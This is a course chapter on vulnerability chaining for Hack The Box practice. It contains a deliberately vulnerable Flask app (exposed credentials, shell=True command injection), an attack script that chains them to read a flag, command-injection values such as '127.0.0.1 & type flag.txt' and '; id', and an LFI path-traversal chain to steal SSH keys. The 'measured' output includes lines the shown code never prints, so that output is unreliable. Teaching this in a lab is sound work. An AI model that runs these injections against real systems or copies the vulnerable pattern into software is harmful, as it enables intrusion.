Step 269. One HTB Medium Machine (Cumulative 4) — Vulnerability Chaining

Step 269. One HTB Medium Machine (Cumulative 4) — Vulnerability Chaining

Level 3 — Real-World CTF & Advanced Offensive Skills | Difficulty ★★★★☆ | Estimated time: 1–2 days

Prerequisites: you’ve rooted 6 HTB Easy machines (Step 255–258) and 3 Mediums (Step 265–268). Your personal wiki (Step 89) is open.

  • What you need: an HTB account with VPN connection, an attack machine, a document for the asset list. And Python (Flask) for the local chain lab.
  • ⚠️ All exercises in this chapter are for your own lab and legal platforms only. Applying them to unauthorized systems is a crime. Hack The Box (hackthebox.com) is a legal learning platform officially opened by its operators for attack practice — today’s techniques are used on HTB machines and your local lab, nowhere else.
  • Screen note: every HTB connection screen and machine attack scene is a screen example. Only the Python execution results of the local chain lab (3-1–3-3) are measured.

Up through Easy, one vulnerability was one key. From late Medium on, the scenery changes — an information disclosure yields credentials, those get you logged in, a feature hidden behind authentication reveals an LFI, and the private key read through the LFI gets you SSH. No single vulnerability reaches the end alone, but chained together they reach root.

Today’s theme is the mindset of that "chaining together" — vulnerability chaining. The core question is one — "what door is this small discovery the key to?" First you experience a chain with your own body in a local lab, then you carry that instinct into your fourth Medium machine.


1. Learning Objectives

By the end of this chapter, you will be able to:

  • Explain the concept of vulnerability chaining and the representative pattern (information disclosure → authentication bypass → RCE)
  • Practice the habit of recording discovered credentials, paths, and versions in an "asset list" immediately
  • When stuck, generate new hypotheses by combining the asset list with surfaces not yet tried
  • Run the local chain lab and confirm the behavior of a two-stage chain yourself
  • Attack one Medium machine and draw the final chain as a path diagram

2. Background Knowledge — Today’s Tools and Concepts

Today’s Tools at a Glance

Category Details
Language/environment HTB platform (VPN), local Python Flask lab, personal wiki
Today’s tools Your whole existing arsenal (nmap, gobuster, Burp, etc.) + the "asset list" document
Concepts needed Vulnerability chains, attack surface, the asset list, hypothesis generation
Today’s deliverable Chain-lab attack log + HTB Medium cumulative 4 + chain path diagram

2-1. Vulnerability Chains — Connecting Small Holes

Vulnerability chaining is an attack style that reaches the final goal by connecting, in order, several vulnerabilities that are each individually non-fatal. Most real-world breaches take this form — far more common than an incident ended by a single zero-day is a connection like "exposed backup file → reused password → unpatched internal system."

This is exactly what makes Medium machines different from Easy. Easy is "find one hole"; Medium is "thread several holes in the right order."

2-2. Three Representative Chain Patterns

Pattern Flow Character of each link
Information disclosure → auth bypass → RCE Credentials from comments/backup files → login → command injection in a post-auth feature The most common web chain
File read → key acquisition → SSH LFI reads /home/user/.ssh/id_rsa → SSH in with that key Authentication not "bypassed" but "skipped"
Service A → credential reuse → service B Config file via anonymous FTP → same password works for the web admin People reuse passwords

Look at the common structure. One vulnerability’s output is the next vulnerability’s input. That’s why the skill of chain attacks lies as much in "keeping" as in "finding" — a string that looks useless now, written into the asset list, becomes a key three hours later.

2-3. The Asset List — The Chain’s Parts Warehouse

The asset list is a document where you write everything discovered during the attack. The format is simple.

## Asset List
| Kind | Content | Where found | Used? |
|------|------|-----------|-----------|
| Credential | admin / summer2026! | /backup config file | used for login |
| Path | /diag?host= | post-login menu | command injection succeeded |
| Version | Apache 2.4.49 | response header Server | unused |

There are two rules. First, write it the moment you find it — "I’ll write it later" means you’ll forget. Second, track whether it’s used — the "unused" column is itself the warehouse of future hypotheses.

2-4. Hypothesis Generation When Stuck — Multiplication Thinking

Being stuck on a chain machine mostly means "the parts I hold and the doors I’ve tried don’t match." The fix is combination — multiply each item of the asset list × each surface not yet tried to make hypotheses.

  • Assets: 1 credential, 2 internal paths, a list of usernames
  • Unused surfaces: SSH port, web login form, SMB share
  • Hypotheses: "try the credential on SSH," "try the same credential on the web login," "try the user list + common passwords on SSH" …

Turn every "no idea comes to mind" moment into the moment you draw this multiplication as a table. A Medium machine’s breakthrough is almost always in an empty cell of this table.


3. Follow Along

3-1. The Local Chain Lab — A Textbook Two-Stage Chain

Before entering HTB, build a minimal lab where you can confirm by hand what a chain is. The Flask app below has two textbook vulnerabilities planted in it. Save it as chain_lab/app.py.

import subprocess
from flask import Flask, request, session, redirect

app = Flask(__name__)
app.secret_key = "lab-secret"

BACKUP_CONFIG = """# config.py.bak — delete before deployment!
ADMIN_USER = "admin"
ADMIN_PASSWORD = "summer2026!"
"""

@app.route("/")
def index():
    return """
    <h1>Intranet Diag Portal</h1>
    <a href="/login">Login</a>
    <!-- TODO: remove /backup before deployment -->
    """

@app.route("/backup")
def backup():
    # vulnerability 1: a backup file open without authentication (information disclosure)
    return BACKUP_CONFIG, 200, {"Content-Type": "text/plain; charset=utf-8"}

@app.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "GET":
        return '''<form method="post">
          <input name="user"><input name="pw" type="password">
          <button>Login</button></form>'''
    if request.form.get("user") == "admin" and request.form.get("pw") == "summer2026!":
        session["auth"] = True
        return redirect("/diag")
    return "login failed", 401

@app.route("/diag")
def diag():
    if not session.get("auth"):
        return "401 authentication required", 401
    host = request.args.get("host", "127.0.0.1")
    # vulnerability 2: shell=True + unvalidated input (command injection)
    out = subprocess.run(f"ping -n 1 {host}", shell=True,
                         capture_output=True, text=True)
    return f"<pre>{out.stdout}</pre>"

if __name__ == "__main__":
    with open("flag.txt", "w", encoding="utf-8") as f:
        f.write("FLAG{ch41n_0f_sm4ll_th1ngs}n")
    app.run(host="127.0.0.1", port=8269)

⚠️ This code is intentionally vulnerable, for education. It’s bound only to 127.0.0.1, so leave it that way and never deploy it to a real service.

How to read it: vulnerability 1 (plaintext credentials at /backup) alone only means "login possible," and vulnerability 2 (command injection at /diag) can’t even be touched without logging in. Only by chaining the two in order do you reach the flag — this is a chain’s minimum unit.

3-2. Running the Lab Server

Input (Git Bash, from the chain_lab folder):

python app.py

Screen example — after confirming it’s running, leave this terminal alone and open another.

* Running on http://127.0.0.1:8269

Why do this: this book cannot show you the HTB machine attack scenes directly (no server-side measurement possible). Instead, today’s design is to run a lab of the same structure locally, experience "the feel of walking a chain" hands-on, and transplant that feel to HTB.

3-3. Chain Attack Demonstration — Measured

Here’s the attacking script, attack.py. Note the flow where each stage builds the next stage’s input.

import re, requests

BASE = "http://127.0.0.1:8269"

print("== [1] check the front page — the hint in the comment ==")
r = requests.get(BASE + "/")
print("HTML comment:", re.search(r"<!--(.*?)-->", r.text, re.S).group(1).strip())

print("== [2] access /backup — credentials exposed in plaintext ==")
print(requests.get(BASE + "/backup").text.strip())

print("== [3] log in with the exposed credentials ==")
s = requests.Session()
r = s.post(BASE + "/login", data={"user": "admin", "pw": "summer2026!"})
print("login response code:", r.status_code)

print("== [4] try /diag without authentication (control group) ==")
r2 = requests.get(BASE + "/diag")
print("response:", r2.status_code, r2.text)

print("== [5] internal feature /diag — normal call ==")
r = s.get(BASE + "/diag", params={"host": "127.0.0.1"})
print(r.text[:200].strip(), "...")

print("== [6] command injection — read flag.txt ==")
r = s.get(BASE + "/diag", params={"host": "127.0.0.1 & type flag.txt"})
body = re.sub(r"</?pre>", "", r.text)
print(body.strip())

Output (measured 2026-09-09, Windows Git Bash + Python 3.12):

== [1] check the front page — the hint in the comment ==
HTML comment: TODO: remove /backup before deployment (developer Kim)

== [2] access /backup — credentials exposed in plaintext ==
# config.py.bak — delete before deployment!
DB_HOST = "127.0.0.1"
ADMIN_USER = "admin"
ADMIN_PASSWORD = "summer2026!"

== [3] log in with the exposed credentials ==
login response code: 200

== [4] try /diag without authentication (control group) ==
response: 401 401 authentication required

== [5] internal feature /diag — normal call ==
<pre>
Pinging 127.0.0.1 with 32 bytes of data:
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
... (snip) ...

== [6] command injection — read flag.txt ==
Pinging 127.0.0.1 with 32 bytes of data:
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
... (snip) ...
FLAG{ch41n_0f_sm4ll_th1ngs}
stolen flag: FLAG{ch41n_0f_sm4ll_th1ngs}

How to read it: watch four things. ① Stage 1’s output (the path in the comment) became stage 2’s input. ② Stage 2’s output (the credentials) became stage 3’s input. ③ As the control group [4] shows, an unauthenticated /diag is blocked with 401 authentication requiredshuffle the order and the chain collapses. ④ In the command injection, the type flag.txt appended after & executed right under the ping output.

Why do this: reading "information disclosure → authentication → RCE" in words is different from experiencing by hand the moment you get blocked by a 401, pass through with credentials, and pull out a flag. The chains you’ll meet on HTB Medium are only longer and better hidden — the skeleton is the same.

3-4. Picking the HTB Machine and Opening the Asset List

Now your fourth Medium. Pick a machine known for its chain type — a machine whose write-up titles mention "chaining," or a well-rated Active/Retired machine.

From the moment you deploy the machine, keep the asset-list document open. An example right after recon (screen example):

$ nmap -sV -sC 10.10.11.xx
PORT     STATE SERVICE       VERSION
22/tcp   open  ssh           OpenSSH 8.9p1
80/tcp   open  http          Apache httpd 2.4.52
|_http-title: Staff Portal

The moment the scan finishes, the asset list’s first rows must be filled — 3 ports, 3 service versions, 1 page title. The difference between skimming scan output and moving it into assets is the whole of the habit you’re learning today.

3-5. Walking the Chain — The One Sentence Asked at Every Discovery

Whenever a discovery happens during the attack, write it in the asset list and ask right there — "what door is this the key to?" The typical flow of late Medium (screen example):

[Discovery 1] gobuster → /backup directory, download config.php.bak
         → asset: db_pass="Str0ng!Pass"
         → question: which door does this password open? → try: web login, SSH, FTP
[Discovery 2] web login success → find a "log viewer" in the post-auth menu
         → asset: internal path /view.php?file=
         → question: what can go into file=? → try: ../../../etc/passwd
[Discovery 3] LFI success → read /home/svc/.ssh/id_rsa
         → asset: private key
         → question: where does this key connect? → ssh -i id_rsa svc@target
[Discovery 4] connected as svc → sudo -l → (ALL) /usr/bin/backup script
         → privilege escalation → root.txt

Do you see the chain where each discovery is the next discovery’s entrance? And the key point — if you had thrown away [Discovery 1]’s password because it failed on SSH, the chain would have ended right there. Trying a found credential at every login point is common sense. Reuse is human instinct, and that instinct is the attacker’s road.

3-6. Drawing the Chain Path Diagram and the Retrospective

Once you catch root (or the timebox ends), organize the final chain as a diagram.

nmap (found port 80)
  → gobuster (found /backup)
    → config.php.bak (credentials)
      → web login
        → log viewer LFI
          → stole id_rsa
            → SSH (svc)
              → abused sudo script → root

And answer one retrospective question — "which link did I discover latest, and why was it late?" If the answer is "it was in the asset list but I never tried it," it’s a habit problem; if it’s "I never discovered it in the first place," it’s an enumeration problem. The two have different prescriptions — for the former, turn the trying procedure into a checklist; for the latter, go back to Step 268’s enumeration depth and review.


4. Missions & Exercises

Mission — The Fourth Medium and the Chain Path Diagram

  1. Run the local chain lab (3-1–3-3) yourself and steal the flag
  2. Pick one HTB Medium machine (cumulative 4) and attack it with a 2-day timebox
  3. Maintain the asset list (kind / content / where found / used?) throughout the attack
  4. After finishing, leave the final chain path diagram and a retrospective ("the link I discovered latest") in your wiki

Exercises

Exercise 1. Explain what the sentence "one vulnerability’s output is the next vulnerability’s input" means in a vulnerability chain, using the concrete values from the 3-3 lab.

Exercise 2. In 3-3’s control group [4], /diag returned 401 authentication required. Explain how this fact supports the claim "the chain’s order matters."

Exercise 3. Explain why the asset list’s "used?" column is central to hypothesis generation.

Exercise 4. A password you found failed on SSH login. Name at least two things you should try before discarding this password.


5. Model Answers & Completion Criteria

Mission Model Answer

For the chain lab, seeing FLAG{ch41n_0f_sm4ll_th1ngs} printed as in 3-3’s output is success. For the HTB machine, even if you don’t catch root within 2 days, having the asset list and the path diagram (up to where you reached) achieves the learning goal — continue the attack in the next session.

How to verify: ① does the lab attack log have stages [1]–[6] in order? ② Can you trace how items left "unused" in the asset list were used in the final chain? ③ Does every arrow of the chain path diagram say "what was obtained and what it was used for"? ④ Is the retrospective sentence concrete (not "bad luck" but "I tried the web login 40 minutes late")?

Exercise Answers

Answer 1. Stage 1’s output, the path /backup in the comment, becomes the input of stage 2 (confirming the information disclosure); stage 2’s output, admin / summer2026!, becomes the input of stage 3 (login); and stage 3’s output, the authenticated session, becomes the input of stage 6 (the command-injection call). Not one of them reaches the flag without the stage after it.

Answer 2. The command-injection vulnerability lives at /diag, but this endpoint requires an authenticated session (confirmed by the 401). That is, to exploit stage 6’s vulnerability, stages 2–3’s information disclosure and login must succeed first. It means individual vulnerabilities are hidden behind conditions, and the chain resolves those conditions in order.

Answer 3. When stuck, hypotheses come from the combination "assets not yet used × surfaces not yet tried." Without a used/unused column, what’s been used and what remains depends on memory, and human memory inevitably drops things by the end of a long attack. The "unused" list is itself the list of remaining hypotheses.

Answer 4. Try the same password at other login points (web login form, FTP, SMB, database). Also combine it with usernames other than the expected one (from the user list obtained by enumeration). If that still fails, record the result "failed on SSH" in the asset list and move to the next hypothesis — failures must also be recorded so you don’t repeat the same attempt.

Completion Criteria Checklist

  • [ ] I can explain the vulnerability-chain concept as an "output → next input" structure
  • [ ] I ran the local chain lab and stole the flag
  • [ ] I can explain why the 401 control group is needed (confirming the auth condition)
  • [ ] I applied the habit of writing discoveries into the asset list immediately during a real attack
  • [ ] When stuck, I generated hypotheses from asset × surface combinations
  • [ ] I followed the procedure of trying found credentials at every login point
  • [ ] Mission: attacked Medium cumulative 4 + left the chain path diagram + retrospective in my wiki

6. Common Pitfalls & Fixes

Wall 1. The Flask server won’t come up — Address already in use

Symptom: python app.py exits with OSError: [WinError 10048] ... or a port-occupancy error.
Cause: a previously launched server is holding port 8269.
Fix: find the old terminal and stop it with Ctrl+C, or change the port number. In Git Bash you can check the occupying process with netstat -ano | grep 8269.

Wall 2. Logged in, but /diag still returns 401

Symptom: login returns 200, yet the /diag call comes back 401 authentication required.
Cause: calls that don’t store cookies (e.g., calling requests.get fresh each time) don’t preserve the session.
Fix: as in 3-3, create a requests.Session() and send the login and subsequent requests through the same session. In a browser, just access it from the same tab where you logged in.

Wall 3. Command-injection separators differ by OS

Symptom: ; whoami doesn’t work, or conversely throws a syntax error.
Cause: this lab runs on Windows so & or & type work, but on a Linux server the standards are ;, &&, |.
Fix: identify the target’s OS first (nmap -O, response headers, path shapes in error messages). Most HTB machines are Linux, so try the ; id family first.

Wall 4. The found credential works nowhere

Symptom: the password from /backup works on neither SSH nor the web.
Cause: one of three — it must be combined with a different username, the password is in hash form and needs cracking, or there’s a third login point you haven’t found yet.
Fix: ① multiply it against the enumerated user list ② if the string looks like a hash, identify the format with hash-identifier and crack it ③ regress to enumeration and look for missed ports/paths. "A credential that doesn’t work" on a chain machine is not a discard but a conditions-not-met signal.

Wall 5. Burning time on "is this right?" doubts mid-chain

Symptom: you send the same request ten times confirming whether it’s LFI or not.
Cause: hypothesis and verification are mixed together.
Fix: cut it with one decisive test — if it’s LFI, request /etc/passwd and check whether root:x:0:0: shows; exactly that and nothing more. Closing probabilistic doubt with one decisive experiment is time management on chain machines.


7. Summary

Today’s Concepts

Concept One-line explanation
Vulnerability chain An attack that reaches the final goal by chaining small vulnerabilities in order; one link’s output is the next link’s input
Information disclosure Internal info leaking through comments, backup files, error messages; the most common first link of a chain
Attack surface Every door you can try — login points, parameters, open ports; multiplied with assets to make hypotheses
Asset list The document recording found credentials/paths/versions and whether used; the chain’s parts warehouse
Hypothesis generation (multiplication thinking) When stuck, the technique of building the next attempt from "unused assets × untried surfaces"
Chain path diagram The final attack path drawn as arrows of discovery → exploit → obtain; raw material for the retrospective

Today’s Commands & Code

Command What it does
python app.py Run the local chain lab server (127.0.0.1:8269)
requests.Session() Send follow-up requests keeping the login session (cookies stored)
params={"host": "127.0.0.1 & type flag.txt"} Windows command-injection example (on Linux, ; id)
nmap -sV -sC targetIP Machine recon — the asset list’s first rows
netstat -ano | grep 8269 Check the process occupying a port

An Instinct More Important Than Commands

On Medium, skill is decided not by "number of techniques known" but by connection speed. A person who asks "what door is this the key to?" the moment they find something, and "what’s left?" the moment they get stuck, verifies twice the hypotheses in the same three hours. And chain thinking is also the defender’s eye — only when you can compute "if this information leaks, how far does it get breached?" does a real risk assessment happen. The chain path diagram you drew today is both an attack record and, someday, the table of contents of a defense report you’ll write.


Once every box is checked, Step 269 is complete.